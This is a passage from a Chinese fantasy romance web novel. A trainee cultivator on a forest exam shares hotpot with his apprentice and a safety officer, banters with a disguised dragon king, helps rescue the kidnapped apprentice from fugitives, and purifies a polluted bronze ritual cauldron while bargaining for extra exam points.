虽然比不上接触宴氿之后清晰, 但他确实能感应到灵。 他一骨碌爬起来,因为手脚酸软, 陶清观脚下一个踉跄,他扶着帐篷支架站稳,顾不得身体的不适, 大步走到帐篷外。 晚风吹过,带着一丝刺骨的凉意,看着黑漆漆的树林,陶清观发热的大脑冷静下来。 他站在原地缓了一会,走到最近的一颗树前, 抬手覆在树干上,受过伤的树木甫一接触到灵,便快速吸收起来, 感觉到体内灵的流逝, 能力得到验证,陶清观嘴角扬起一抹弧度。 是真的! 陶清观下意识想和宴氿分享这一消息, 但拿出手机, 他忽然想起这块区域没有信号,更别说联网了。 也不知道宴氿那边现在怎么样, 来的时候宴氿跟他说别担心, 会想办法找过来,但一天过去,他连宴氿的影子都没见着。 陶清观扬起的嘴角渐渐落下, 心中生出别样的滋味,他……他忘记一件很重要的事。 这三天的游戏日常忘记让宴氿帮忙清了! 他的维持大半年的签到就这么断了,陶清观一手捂着胸口,是心疼的感觉。 “师父,发生什么事了?” 陈年安听到动静,不放心出来看看,发现陶清观站在树底下发呆,他多看了那树两眼,没看出个所以然来。 “没事,睡醒出来晃晃。”陶清观打开带来的太阳能灯,往整理好的草坪上一坐,他笑着对陈年安道:“想不想吃点夜宵?” 陈年安:“……好。” 陶清观在包里翻找,他带的少量生鲜在白天已经吃完,剩下的都是耐放的半成品,被他用冰包裹着。 出发前他还担心后两天没有灵冰镇,食物有可能坏掉,但现在就没这个顾虑了,陶清观甚至后悔生鲜带少了。 他取出自热包,倒入饮用水,然后将一次性锡纸锅放在上面,再将食材放进去。 陈年安看着陶清观保存东西的手法,感叹道:“你对灵的掌控好强。” 冷不丁听到这么一句话,陶清观顺着陈年安的目光看了眼手中的冰坨坨,他抬起手,“你说这个?” “嗯。”陈年安点头,他不好意思地笑笑,“控灵最困难的技术就是凝冰,我到现在还不太熟练,师父你是有什么特殊技巧吗?我就随便问问,你不说也没关系。” 陶清观沉默了片刻,他手指微微蜷缩起,一块四四方方的冰块出现在他掌心,“嗯……喝可乐的时候多加点冰?” 陈年安茫然:“啊?” 陶清观换了种高大上的说法,“你要将灵运用到生活中。” 比如冰可乐,再比如给热汤降温,偶尔还能用来省水费。 陈年安迷茫的眼神逐渐坚定,他不知道想到什么,认真地点点头,保证道:“我懂了,我一定认真修行。” 不,你根本没懂。 陶清观嘴角一抽,还是没打击陈年安的积极性。 锅里的水逐渐沸腾,咸鲜的香味在空气中蔓延,陶清观拿出一次性餐具,分给陈年安一套准备开饭。 还没来及动筷子,一股灵的动荡倏然出现,就连陶清观这个感知力下降的人都发觉了。 陶清观咬着筷子尖,向动荡的根源望去,他眨眨眼,这个灵有那么亿点点熟悉,宴氿在整什么幺蛾子。 远在森林另一端。 黑衣男子拼了命的逃跑,他眼神阴翳,上吊的眼尾显得他的表情越发狠厉,这次的行动只有寥寥几人知道,为什么特管局的人会提前发现。 他们之中出了叛徒。 黑衣男子眼底闪过一丝毒辣,狼狈的处境让他心底杀意骤现。 叛徒究竟是谁。 而追在黑衣男子身后的调查员一头雾水,他问身边的同伴,“消息从哪来的?” 他大半夜被拖起来,说是紧急情况,消息没头没尾,本以为是被忽悠,没想到真让他们抓到一条大鱼。 同伴压低声音回答:“据说是那一位发现的。” 能被这样称呼的,除了龙王别无他选。 调查员与同伴对视,心照不宣,不愧是龙王,远在别处也能察觉到敌人的小动作。 他们两默契地加快脚步,缩小包围圈。 ………… 灵的波动一闪即逝,陈年安有些不安,“会不会出什么事?” “出事也轮不到我们操心。”陶清观揭开锅盖,往锅里加了些调料,“安心,要真有危险的情况,藏在暗处的安全员会让我们撤离的。” “你们也知道附近有安全员。”一道满是怨念的声音从树上传来。 陶清观抬起头,看见一位身穿黑色工装的男子坐在树干上,目光直勾勾地盯着锅里,一整个望眼欲穿的样子。 好吧,他们现在的行为确实有点不当人。 陶清观拿出一副新的餐具,对着树上的人说道:“你要不也来点?” 周青就等陶清观这句话,他从树上跳下来,一点也不客气,拆开餐具直接开吃,被肉烫到,他呼哧两声往下咽,宛如饿死鬼投胎。 陶清观眼珠子转悠,心底有了想法,他旁敲侧击道:“刚刚那个波动和考试有关系吗?” 周青瞥了陶清观一眼,吃人嘴短,他开口道:“告诉你们也没关系,有个逃犯出现在考场附近,刚刚是追捕他闹出来的动静,对考试没有影响。” 陈年安松了口气。 陶清观目露思索,能让宴氿参与其中的逃犯,也就那群偷鳞片的家伙,真是阴魂不散,哪哪都有对方的身影。 他追问道:“你知道逃犯的目的吗?” 周青冲陶清观摆摆筷子,“别问那么多,知道多了对你没好处。” 见周青没有透露的意思,陶清观将剩下的话咽下去,他拿起筷子准备开饭,一看肉被周青捞走大半。 陶清观:“!”才过了两三分钟,这人是猪精转世么。 他连忙去抢锅里的肉,心底那点疑惑瞬间被他抛之脑后。 周青不满,“你带了那么多,别这么小气。” “你也知道是我带的。”陶清观护食。 周青:“我这是帮你减少外界的诱惑,你看看你,考个试还带火锅,这像话吗?” 陶清观:“不像话,你别吃。” 周青:“我也算考官!” 陶清观:“那你回树上挂着去。” 两人你一言我一语,陈年安夹在中间左右为难,想劝架都不知道怎么开口。 就在这时,陈年安看见另一道身影从树上跃下,悄无声息地出现在陶清观身后,他衣着和周青一样,也是位安全员。 见对方比了个噤声的手势,陈年安张张嘴,还是没有出声。 男人弯下腰,在陶清观往嘴里送食物的时候,他握住陶清观的手,叼过筷子上的肉片。 熟悉的气息拉近,陶清观偏过头,看到一张全然陌生的脸,但印刻在体内的契约清楚地告诉他眼前人的身份。 陶清观唇瓣微张,偏过头向宴氿靠近,肌肤相贴,他duang一声给了对方一头槌。 汤姆的,大胆,居然敢虎口夺食。 宴氿嘶了一声,捂着被撞的下巴后退一步,他看着陶清观护着碗和他拉开距离,心中又好气又好笑,跟小狗一样。 周青放下筷子,上下打量着宴氿,“你哪块区域的?” 宴氿在陶清观身旁坐下,回答道:“我负责的区域被封了,估计等逃犯抓到才会解禁。” 周青眼眸下藏着锐利的色彩,他没有因为宴氿的解释放松警惕,“你的姓名编号。” 宴氿还没回答,陶清观的肩膀已经开始抖了,想起某人干的好事,宴氿扯了下嘴角,眼看周青隐隐有动手的趋势,宴氿认命道:“宴娇娇,7520。” 陶清观:“噗哈哈哈哈哈哈哈。” “师父……”陈年安弱弱开口,“这么笑会不会不太好。” 陶清观非但没有收敛,反而笑得前仰后合,要不是宴氿暗中扶着他,他能倒地上去。 “哈哈哈哈哈哈哈。” 娇娇,你是一位身材魁梧的男子。 周青查了一下,还真有这号人,他露出一言难尽的表情,欲盖弥彰道:“你这名字……挺有特色的。” 宴氿微笑:“谢谢。” 陶清观拍了下宴氿的肩膀,“给你取这个名字的人一定是个天才。” 宴氿:“……” “我叫周青,编号5674。”周青看向幸灾乐祸的陶清观,问道:“你叫什么名字?” 陶清观瞬间卡壳,但他不说也没有,因为胸前的铭牌上刻着他的名字。 “陶……陶囡囡?”周青直接念出来,场面顿时陷入一片沉默。 但不过几秒,周青嘲讽的笑声就打破寂静,“哈哈哈哈哈哈,你这名字也挺有特色的。” 陶清观捏拳头,在无人注意的角落捶在宴氿后背。 他皮笑肉不笑地开口,“谢谢夸奖。” 宴氿忍着没笑出声,真惹恼了,还得他哄。 几人谈笑间也吃得差不多了。 周青从怀里掏出几个压缩饼干,送到陶清观面前,“给,考场提供的食物,别浪费。” 陶清观的嫌弃溢于言表。 周青全当没看见,吃饱喝足,他回到自己的工作岗位上,离开前还不忘对宴氿道:“我这边不需要帮忙,明天你换块地。” “行。” 宴氿冲陶清观眨了眨眼,消失在夜色中。 陶清观回到帐篷内,他没急着睡觉,而是盘坐着,看着打开的帐篷门。 夜色渐深,细微的声响传来,宴氿出现在门前。 帐篷内位置有限,宴氿与陶清观贴得很近,他压着声音,带着一丝引诱的意味,“有没有想我?” 陶清观无视宴氿的问话,“我好像变异了,我在背后摸到奇怪的东西。” 第60章 第 60 章 宴氿:陶囡囡,早点开窍…… 陶清观说着, 拎起领口一拽,直接将上半身衣服脱了,白皙的肌肤暴露在空气中, 森林的夜晚带着丝丝凉意, 陶清观打了个哆嗦,他靠到宴氿身前, 催促道:“你快看看。” “啊……嗯。” 宴氿连忙把帐篷的帘子放下来,黑暗将仅存的一点月光吞噬,他眸光微闪, 手悬在半空中,迟疑着没有落下。 陶清观偏过头,指着肩膀下面一点的位置,“就是这里,现在摸不到了。” 昏暗的光线并不能影响到宴氿的视野, 光滑细腻的肌肤清楚的映入眼帘,肩胛骨的曲线犹如振翅欲飞的蝴蝶,宴氿眸色渐沉, 指腹落在陶清观指尖下方。 “没有东西。”宴氿询问道:“身体有哪里不舒服吗?” 陶清观如实说道:“开始有一点, 但很快就过去了,而且我发现, 现在即使不碰你, 我也能感应到灵,就是没有那么清晰。” 宴氿敛下眼眸, 他拿过陶清观手中的衣服给人套上, 一边穿一边说道:“据我所知,道灵从未出现过对人体有害的例子,但你这种情况我也是第一次见, 下次再有异样及时告诉我,或者拍张照片。” 他倒是想拍,陶清观无奈,但当时他疼得动弹不得,根本拿不起手机。 “我感觉那东西像鳞片。”陶清观不着边际地猜测,“不会是我吃你的鳞片吃多了,被同化了。” 宴氿戳了下陶清观眉心,“要是真那么容易就能变成龙,龙也不至于就剩下我一条,不过道灵的材料中确实有一种是龙的灵,可能和这有关系。” 陶清观把衣服穿好,想想宴氿的话觉得也有道理,以目前的情况来看,鳞片的出现并没有给他带来不好的影响。 他将这件事暂且放到一边,转而问道:“那些逃犯怎么又追过来了?” 提起这个,宴氿脸色难看几分,“他们想偷镇守在森林里的礼器。” 为了加快森林的恢复进度,附近能调用的礼器现在都在这,同时看守的人也与之俱增,再加上这块局域被设为考场,可以说到处都是特管局的眼线,但还是给那些逃犯钻了篓子。 “他们早在半个月前就藏在附近,一直隐秘行踪。”宴氿冷笑,“若不是我感应到龙鳞的气息,或许真有可能让他们得逞。” 陶清观双手抱臂,跟着点点头,“他们肯定没料到你会在附近,居然用龙鳞,真蠢。” 不过那些人真是倒霉,每次想搞小动作,总会因为龙鳞被宴氿发现,怎么就不长教训呢,到现在还敢用龙鳞。 陶清观瞥了宴氿一眼,“你究竟被偷了多少龙鳞,居然用到现在还有剩的。” 他看宴氿的原形也不是很秃,难道是在不显眼的地方。 “收起你奇奇怪怪的想法。”宴氿看穿陶清观的小心思,他一手撑地换了个半蹲的姿势,“我走了,你早点睡。” 陶清观哦了一声,看着宴氿撩起帘子,他出声问道:“你今晚打算睡哪?” 宴氿回答:“随便找棵树。” “要不,你跟我一起睡?” 陶清观发誓,他说这话只是因为看宴氿太惨,而自己一个人享受不太厚道,可触及宴氿躲闪的目光,和不自然的神情,他莫名其妙也跟着有几分尴尬。 他移开视线,声音越说越小,“又不是没一起睡过,你要是不乐意就算了。” “没有。”宴氿又强调一遍,“我没有不乐意。” 他回到陶清观身旁和衣躺下,背对着陶清观说道:“明天还有考试,好好休息,晚安。” “……晚安。” 陶清观也躺下来,白天积累的疲惫感如约而至,他没工夫乱想,很快就陷入梦境之中。 宴氿双臂枕在脑后,眼底没有丝毫睡意,他动作轻缓地坐起身,看着陶清观的睡颜,眼底盛满一汪清泉,在月光下荡漾缱绻。 他俯下身,轻轻吻在陶清观的唇角,心底是带着酸涩的甜意。 某些点聪明过分,但在情感上又意外的迟钝,他自认为已经表现得很明显,可陶清观就是跟他不在一个频道上。 宴氿没好气地点了下陶清观的脸颊,这一处有个不太明显的酒窝,陶清观笑起来时若隐若现,让人想咬上一口。 睡觉被打扰,陶清观皱起眉,呓语着转过身子,想躲开宴氿的骚扰。 宴氿不想把人弄醒,将手收了回来,他的目光转向陶清观的后颈,那里光洁一片,找不到半点瑕疵。 鳞片…… 他有一瞬间怀疑自己的逆鳞会不会在陶清观身上,可仔细查看,陶清观体内完全没有逆鳞的气息。 应该是他想多了,是那群人偷走他的逆鳞,不会错。 宴氿深邃的眼眸中藏着危险的色彩,若不是现在的身份不方便,他肯定叫那些人有来无回。 视线划过陶清观的脸庞,宴氿目光又柔和下来,他在陶清观发丝上落下一吻,不带情欲,只有满眼的珍爱。 陶囡囡,早点开窍。 也不知道是不是因为逃犯的出现,当晚宴氿又梦见那条老龙。 老青龙虚弱地匍匐在地,已是垂垂老矣,残缺的龙鳞下是粉色的嫩肉,他的周围似乎飘荡着腐烂的气息。 宴氿静静地站在那没有开口,而老青龙早已没了说话的力气。 老青龙的死亡再一次回放,宴氿看着对方消散在眼前,沉默,窒息,黑暗将这一片狭小的空间笼罩,呼吸成了一种奢侈。 宴氿面色不变,他转身欲走,可黑暗中出现一道熟悉的身影,他的脚步停下,瞳孔扩散。 陶清观出现在青龙消散的地方,他向他伸出手,宴氿大步走过去,但就在他要触碰到他的那一刻,陶清观的身影倏然消失。 黑暗再一次降临。 宴氿骤然睁开眼,第一时间去寻找陶清观的身影,在帐篷里没找着人,他心跳漏了一拍,连忙大步追出去。 空地上。 陶清观和陈年安正在煮泡面,周青这个恬不知耻的,又跑出来蹭饭,看见宴氿从陶清观的帐篷里出来,周青甩着筷子指过去。 “蹭住就过分了,也不知道叫我一个。” 宴氿无视周青,大步走到陶清观身旁,他握住陶清观的小臂,体温透过相贴的肌肤传递,居无定处的心才落到归处。 反应过来自己在害怕,宴氿不由哂笑,真是睡迷糊了。 宴氿松开手,像什么都没发生过般,开口问道:“泡面什么味的?” “小鸡炖蘑菇。”陶清观回答道,他感觉宴氿有点奇怪,多看了对方两眼,“你要不要来点?” 宴氿也不跟陶清观客气,盛了满满一碗。 一大锅泡面很快就被瓜分殆尽,陶清观看着剩下的口粮,有些怀疑能不能支撑到考试结束,他带的时候也没想到要喂饱四个人。 解决完早饭,陶清观和陈年安接着找位点,而宴氿则是被周青赶走了。 让陶清观意外的是,看着没什么架子的周青居然是这次安全员的头头,官大一级压死人,宴氿不想惹人怀疑,只好先离开。 陶清观骑着自行车,周青与陈年安一道在地上走,他瞥向周青,问道:“不是说非必要时刻,安全员不能出来吗?” 周青耸肩,“我不给你们提供任何帮助。” 他吊儿郎当的神情下藏着认真,今早他收到消息,有几个逃犯冲出包围圈,向着他们这个方向逃跑,他得保证考生的安全。 陶清观看出周青有所隐瞒,他没再多问,目光继续在周边搜寻,找了一下午他已经有经验了,凡是烧焦痕迹比较多的地方,大概率就是位点。 果不其然,绕过一块焦黑的土地,他们就看到一面旗帜。 就在这时,陈年安惊喜地指向远处,开口道:“那边好像有卡片。” 陶清观循着陈年安指的放下望去,在十几米开外的树枝上卡着一张白色物品,很像提示用的卡片,他还没开口,陈年安就兴冲冲地跑过去。 周青刚想跟上去,敏锐地察觉到身后有异动,他转过身,看向灌木丛,窸窸窣窣的声音响起,下一秒一只兔子窜了出来。 原来是兔子,周青松了口气。 陶清观没有紧锁,“我昨天一只动物没看见,今天就有动物回来了?” 动物都有趋利避害的本能,这边烧过大火,再加上人类足迹活动频繁,这一片的动物少得可怜。 听到陶清观的话,周青也觉得不对,他心道一声不好,立即想陈年安的方向冲去,可一道黑影快他一步,陈年安甚至没能反抗,就被挟持带走。 周青顾及着黑衣人可能会有同伙,想追的脚步绊住,黑衣人带走陈年安的目的多半是想当人质,陈年安暂时不会有生命危险。 他联络附近的安全员,又让特管局调派人手,处理好一切,周青眼底仍是难掩的懊恼,他太大意了。 陶清观安慰了句,“我们这块区域属于考场中央,他想逃走很难。” 也不能全怪周青,那群人有本事在敌方眼皮子底下藏半个月,本身隐匿的本事就不容小觑,不过逃也逃不了多久。 陶清观很乐观,毕竟有龙王兜底,他想不乐观都难,都是小问题。 此刻,被陶清观惦记着的宴氿也收到逃犯出现的消息。 知道被掳走的人是在周青负责的范围内,宴氿心底猛地一空,他回想起那个梦,四肢发凉。 是预兆? 不会的。 脑海中一片空白,生锈的齿轮卡在一起,思维也跟着停滞,宴氿五指攥紧,如离弦的箭般冲了出去。 那些人,该死。 60-70 第61章 第 61 章 陶清观:太好了,不用赔…… “我有一个问题。” 陶清观举手, “陈年安的考试怎么办,给他单独增加时常?” 周青嘴角抽搐,“现在是考虑这个的时候吗?” 弄不好小命都可能丢了。 陶清观皱眉, 认真道:“可这考试一年只有一次。” 问题在这吗!? 周青心底那点紧张给陶清观搅合没了, 他用一种奇异的目光看着陶清观,这种超绝松弛感, 是怎么培养出来的。 “你……”周青实在找不到合适的形容词,“算了,老实跟着我。” “哦。” 陶清观坐上自行车, 问道:“那我会有加赛时常吗?” 周青:“……有。” 这个有字,宛如从牙缝里挤出来一般。 周青乘风而行,陶清观蹬着自行车轻松跟上,甚至有功夫找周青闲聊。 “一共逃出来多少人?” 周青神色严肃:“四个,现在还有两位行踪不明, 安全员已经抵达每一位考生身边,不会再有意外发生。” 陶清观哦了一声,想不明白:“他们要逃的话, 完全没必要抓个人质, 这不是在给自己增加负担么。” “嗯。”周青眼尾的皱纹在此刻愈发明显,他沉声道:“所以他们很可能有别的目的。” 森林里相隔不远的另一处。 黑衣人掐着陈年安的脖子飞速掠过, 冷汗打湿他的后背, 砰砰的心跳声在鼓膜处喧嚣。 那位为什么会在这种地方。 感觉到龙王的威压时,黑衣人身体僵直, 那是一种源于本能的恐惧, 他崩溃地想着,历代龙王都不喜欢插手人类间的纷争,这个奇葩究竟是从哪冒出来的。 他们从未招惹过龙王, 怎么就追着他们不放。 陈年安呼吸困难,面色发青,神志维持在清醒与昏厥之间,他想用灵自救,可实力的悬殊,让他反抗不了分毫。 黑衣人察觉到陈年安的小动作,反手甩了陈年安一巴掌,“老实点。” 他面色难看,心底清楚任务肯定无法完成,这次赔了夫人又折兵,损失惨重,既然如此,特管局的那群人也别想讨到便宜。 黑衣人眼底划过一道决绝,他拎着陈年安换了个方向奔去,好巧不巧和陶清观二人前进的方向相同。 另一边,周青叮嘱陶清观,“我送你到最近的礼器,那里有人职守,你老实待着。” “好的。” 陶清观斜睨周青,有风助力,对方宛如在飞,而他蹬累了,稍微用风作弊一下吧。 他控制着风聚在身后,自行车的速度瞬间就拔高一个档次,衣摆猎猎作响,发丝随风飘扬。 陶清观心底呜呼一声,把速度又提高一个档次,就连周青都被他甩在身后。 飙车,爽! 就在这时,拐角冲出一个人影,陶清观只觉得眼前一花,下一秒他感觉自己好像轧到了什么东西,屁股在坐垫上颠了两下。 陶清观紧急刹车,两腿撑在地上,他紧握车把,眼神慌乱,汗流浃背了。 他好像大概应该撞到人了,森林里超速犯法吗?他要赔多少?是那个人自己冲出来的,不至于让他全责……吧。 陶清观僵硬地转过头,看见陈年安跌坐在地,一脸劫后余生的表情,而他旁边倒着一个不知死活的黑衣人。 他第一反应,太好了,不要赔钱。 陶清观调转车头,划到陈年安身旁,悻悻然地关心道:“你没事吧?” 陈年安嘴巴一瘪,哇的一声抱住陶清观的大腿,口齿不清地说道:“呜呜呜呜,师虎,窝就知道泥会来救我的,呜呜呜呜呜呜,窝还以为唔要素了。” 都哭成发动机了,应该没什么事。 陶清观草率地得出定论,被陈年安这么说,陶清观有点不好意思,这就是个意外,他清了下嗓子,拍拍陈年安的脑袋,“没事就好。” “师父~” 姗姗来迟的周青,看见地上挺尸的黑衣人,又瞥了眼被陈年安抱着陶清观,他突然感觉头有点疼。 “你……”周青对陶清观无话可说,他无视对方,问陈年安道:“有受伤吗?” 陈年安抽噎着摇头,“就是脖子疼。” 陶清观闻言,向陈年安的颈脖望去,上面留有青红的指印,陈年安这都没昏过去,也算个防御力点满的。 他打量了会儿,说道:“会青几天,应该没什么大事。” 陈年安嗯嗯应道,他刚想开口,不远处传来一声巨响。 接连轰隆两声,震得人鼓膜发胀,一颗大树倒下,惊起一片飞鸟,天空雷鸣乍现。 陶清观惊讶地张着嘴,雾草,宴氿这是下死手啊。 …… “人在哪?” 宴氿拎着另一位黑衣人的衣领,将人摔在树干上,鲜血从那人口中喷出,宴氿眸光病人,“你们拐走的人在哪?” 黑衣人唇瓣颤抖,说不出一句完整的话,他望着在暴怒边缘的宴氿,寒意袭卷四肢百骸,他颤抖着伸出手,指向右方。 宴氿转头望去,视野内出现个一人高的青铜鼎,那是存放在这一方土地的礼器。 负责看守的人见宴氿望过来,他连连摇头,撇清关系,“我没见过您要找的人。” 宴氿眉心蹙起,察觉到那个鼎的情况不太对劲,他随手将黑衣人扔在地上,被他揍过的黑衣人早已失去行动能力。 他踱步走到青铜鼎前,那股异样的感觉越发明显,他似是想到什么,眸光一凌,拎起一旁的看守人脚步后退。 几乎是宴氿离开的那一刻,青铜鼎传来一声清脆的声响,原本萦绕在它周身纯净的灵,沾染上令人作呕的气息。 宴氿闷哼一声,神色难看。 看守人更是面色发青,看到青铜鼎上的裂痕,他顾不得体内翻涌的血液,急忙冲上去,试图用净化那些被污染的灵,可即使他拼劲全力,也只能勉强延缓青铜鼎碎裂的速度。 宴氿眉心拧成一个川字,他对灵的高亲和力在此刻成为负担,恶心的气息无孔不入,虽然不至于对他造成实质性的影响,可心底的躁意叫嚣怒吼,杀意在他眼底凝滞。 他一脚踹向黑衣人,踩在对方手背上用力碾轧。 黑衣人又吐出一口血,他死死瞪着宴氿,嗓音如沙子划过砂纸,“我什么都不会说的。” “没用的废物。” 宴氿声音平淡,不带一丝起伏,似乎是在陈述事实一般,他踩在黑衣人脑袋上,只要稍稍用力,脚下的脑袋就会像西瓜一样裂开。 脑海中嗡嗡声不断,暴虐的情绪肆虐横行,宴氿眼底的神色越发冰冷。 有声音在蛊惑他,把所有人都杀了,耳边就能清净,可心底的落空感,让他迟迟没有动手。 “哇,比台风过境还夸张。” 陶清观看着一片狼藉,睁大了眼,他自然地走到宴氿身旁,歪着脑袋去看被踩的人,“另一个逃犯?” 他话音未落,猛地被人抱住,陶清观被撞得后退半步,宴氿的胳膊像铁圈一般将他牢牢禁锢,陶清观艰难地拍了下宴氿的后背。 “你松开点,我喘不上来气。” 宴氿突如其来的拥抱实在有点沉重,陶清观察觉宴氿情绪不对,问道:“怎么了?” “你没事。”宴氿喃喃着,声线微不可察的颤抖,下一秒他语气中带上狠戾,“绑你的那个人在哪?” 陶清观听到这才明白宴氿误会了,“被绑的人不是我,是陈年安,不过他也获救了。” 身上多了个人形挂件,陶清观无奈道:“你应该能感应到我的情况,再说还有玄北的手串在,我怎么也不可能出事。” “……我忘了。” 大脑一片空白,在找到陶清观之前,宴氿根本无法冷静思考,身边的朋友一个个离开,他早该习惯的,可想到陶清观也会不见,那种茫然失措的情绪再一次将他笼罩。 他,该习惯的。 陶清观甩不开宴氿,他鼻尖耸动,脸色微妙,委婉地开口,“你身上有股怪味。” 臭臭的。 准确来说空气里都弥漫着一股臭味,陶清观面露嫌弃。 宴氿身子一僵,悲秋伤感的情绪当然一空,他抬起头,看着面上难掩嫌弃之色的陶清观,有些心梗。 他没好气地说道,“是这片的灵被污染了。” 陶清观疑惑:“污染?” 从未听说过的词汇增加了。 在后边当背景板的周青开口解释道:“礼器被放入污秽之物,导致它转化的灵被感染,这个礼器报废了。” 看守人嚷嚷着,“你别说风凉话,快过来帮忙,好歹救一下。” 周青脚下不动,他目光灼灼地盯着相拥的二人,视线由宴氿移到陶清观脸上,他开口道:“你们两认识?” 这话虽是问句,却用了肯定的语气。 陶清观心底咯噔一声,拿不准周青是不是在试探,宴氿的灵对他来说很有辨识度,但其他人不一定会这么敏锐。 一般来说,也不会想到龙王会从这种犄角旮旯里冒出来。 陶清观偷偷摸摸给宴氿使眼色,无声问道:他们发现没有? 宴氿摇头。 他威压全往逃犯身上使,在别人眼里他不过是个实力高超的雨师罢了。 陶清观心底有底,他搭上宴氿的肩膀,清了下嗓子,“其实我们两是兄弟,这是我弟弟,所以我们的名字很像。” 一个囡囡,一个娇娇。 周青没被忽悠到:“你们的外貌毫无相似点。” 陶清观义正言辞:“表的。” 周青:“……” 宴氿也是一阵无语,其实被发现也无所谓,他们并无违规行为,周青从始至终都跟着陶清观,完全可以为陶清观作证。 他不过是个通过正规报名渠道,成功入职的安全员。 陶清观拍着胸脯保证,“我弟弟肯定是个好人,当然我也是好人,刚刚我还帮你抓住逃犯,你不能忘恩负义。” 周青现在的心情,就像皮卡丘扛起意大利炮,轰了卡皮巴拉,又去骚扰天线宝宝。 陶清观嘴里要是有一句真话,他就吃! 周青眼睛疼,看陶清观看的,“他的身份会由上级部门提审。” 意思是他撂担子不管了。 陶清观咧嘴笑笑,他和宴氿小声蛐蛐,“你折腾出来的动静太吓人了,能糊弄过去吗?” 他说完等待宴氿回答,却发现宴氿神不守舍,陶清观撇嘴,“不就叫了你一声弟弟,大不了下一次让你……” 宴氿目光落在陶清观开开合合的唇瓣上,让他当哥哥? 他忽然想起陶清观上一次唤他哥哥的模样,很乖,哥哥这个称呼似乎天然就带着依赖感。 陶清观:“让你当爸爸,也算满足你一个小心愿。” 宴氿:) 这该死的,搬起石头砸自己的脚酸爽。 第62章 第 62 章 宴氿:让我靠一会 “你们够了!” 看守人忍无可忍, 爆发一声咆哮,“快过来帮忙。” 陶清观身子一哆嗦,有种上课和同桌讲悄悄话, 被老师抓包的感觉。 他缓缓转过头, 看见青铜鼎上冒着黑气,隐隐有裂痕在鼎身上浮现, 散发着阵阵恶臭,陶清观眼底的嫌弃之色愈发明显。 真的好臭。 周青挠挠头,又叹了口气, “再来十个我们也不一定能把秽物除去,你赶紧收手,别把自己搭进去。” 看守人面色苍白,似白纸般一戳就破,他咬着牙没松手, 额角青筋凸起,“元朝的鼎,你说不要就不要?” 周青:“呃……这不是要不起。” “这是借来的。”看守人一个眼刀甩过去, “弄坏了, 我们都要扣工资。” 陶清观在心底哇塞,赔元朝的鼎, 这得要多少年的工资才够, 后半辈子都得打白工吧。 周青听到这话,像一阵风冲到青铜鼎前, 把自己的灵注入其中, 他对着陶清观等人说道:“快来帮忙。” 陶清观趁火打劫,“加分吗?”不加不干。 周青从牙缝里挤出一句,“加。” “好嘞。” 陶清观上前要去帮忙, 可宴氿还握着他的小臂,他刚迈出一步,就感觉到身后的拉力,陶清观偏过头,“怎么了?” “我没法靠近那玩意。”宴氿压着眸子,脑海中仍有混沌空洞的声音回响,污染的灵会让人类感到不适,而对于他,则会将负面情绪无限放大。 这里不是深海,若是他情绪失控,威力堪比拆迁队。 陶清观眨了眨眼,他忽然伸手挑起宴氿的下巴,俯身凑过去,两人之间的距离越来越近,他睫羽颤动,秋水剪影般的眸子有着认真之色,“你……” 宴氿呼吸一滞,哪怕猜到陶清观要说的多半与他想象中不同,可不争气的心脏又加速跳动,眼前人的一颦一笑轻而易举牵动他的心声。 “你的眼睛变色了。”陶清观不想让别人听见,刻意压低声音说道:“有点蓝,像大海的颜色。” 宴氿抵住陶清观靠近的脑袋,心下缓了口气,“是那些灵造成的影响,过段时间会自己恢复。” 陶清观点点头,他松开手,后退两步,“既然不舒服,你就在这等我,别靠近了。” 他说完,径直向青铜鼎走去,宴氿垂在身侧的手抬起,他不想让陶清观接触被污染灵,像青铜鼎那样的礼器,他手里要多少有多少,但在没有危险的情况下,他更想选择尊重陶清观的选择。 宴氿将手放下,看着陶清观的背影,唇角扬起一抹弧度,作为年长者,或许他该从容一些。 陶清观在青铜鼎前站定,黑气往他脸上飘来,他眼底浮现肉眼可见的抗拒,好难闻的味道,好歹毒的鼎。 见周青几人都已经把手放上去,陶清观深吸一口气,心一横,也把掌心贴了上去。 在接触到青铜鼎的那一刻,一股恶寒席卷而来,紧接着体内的灵快速流失,陶清观立即吸纳周围的灵,补充体内的损失。 他的灵要是有数值条,此刻大概是,-5,-5,+10,-5…… 损耗的量基本和吸收的量持平,过了十多分钟,陶清观除了手举得有点酸,完全没有其他不适的感觉。 而站在他旁边的几人都快被吸干了,不仅双目无神,就连唇色也一片煞白,就差把虚写在脸上。 周青抬着的胳膊在颤抖,他看向跟没事人一样的陶清观,有一瞬间怀疑的自己的眼睛,他不信邪,去感受陶清观周围流转的灵力,发现对方是真的游刃有余。 他神色茫然,现在的年轻人已经到这种水平了? 周青犹豫不到一秒,默默将手撤回,他冲身旁的人使了个眼色,看守人跟着把手放下,陈年安是实在顶不住,手一松开,他踉跄两步,差点跌坐在地。 等陶清观回过神,活就剩他一个人在干,他左顾右盼,不解道:“已经可以了?” 他怎么感觉青铜鼎里还剩不少被污染的地方。 周青摆摆手,“我们不行了,你加油干完。” 他毫无形象地往地上一坐,用新奇的目光打量着陶清观,接触这么多被污染的灵,他都有些气不顺,可陶清观丝毫没受到影响。 对方就像空气净化器本器,还是低成本的那种,工作几小时,耗费一块馒头。 陶清观感觉自己亏了,“这是另外的价钱。” “嗯嗯。”周青敷衍道:“给你加两分。” “三分。” “行行行。” 几分都无所谓,反正以陶清观的实力,通过考试肯定没问题,顶多算个名次先后,对方帮了他们大忙,用几点虚无缥缈的分数来换,那可太划算了,就是无本买卖。 陶清观瞧周青轻易松口,心底后悔,要少了。 他轻啧一声,加快灵的注入,青铜鼎的色泽慢慢恢复原样,浑浊的空气开始流动,令人窒息的感觉悄然退去。 周青冷不丁的开口,“你姓陶,耳朵旁的那个?” 陶清观:“不,是逃跑的逃。” 周青睨向陶清观,“有这个姓?” 陶清观耸了耸肩,不说话,他胸前的牌子上都挂着呢,还问。 周青扫过陶清观的脸庞,心下有了计较,没想到这尊大佛落到他手里,陶清观太过独立特行,和他见过的世家子弟两模两样,所以周青之前没往那方面想。 但现在看到陶清观奇特的能力,以及熟悉的信,他再猜不到对方是谁,就是蠢了。 周青咂巴一下嘴,说道:“挺好的,继续保持。” 陶清观:“那得加钱。” 周青:“?” “我要的不多,你这次报酬分我三分之一就行。”陶清观理不直气也壮,“不然我就松手,不保持了。” 一番偷梁换柱,张冠李戴,给周青气笑了,“好,我回头就给你报上去。” 陶清观哼出一声嗯,都别想占他便宜。 三米开外的宴氿看见陶清观得意的小动作,眼底的笑意荡漾开来。 过了莫约十分钟,他出声道:“差不多了,把鼎内的秽物拿出来封存。” 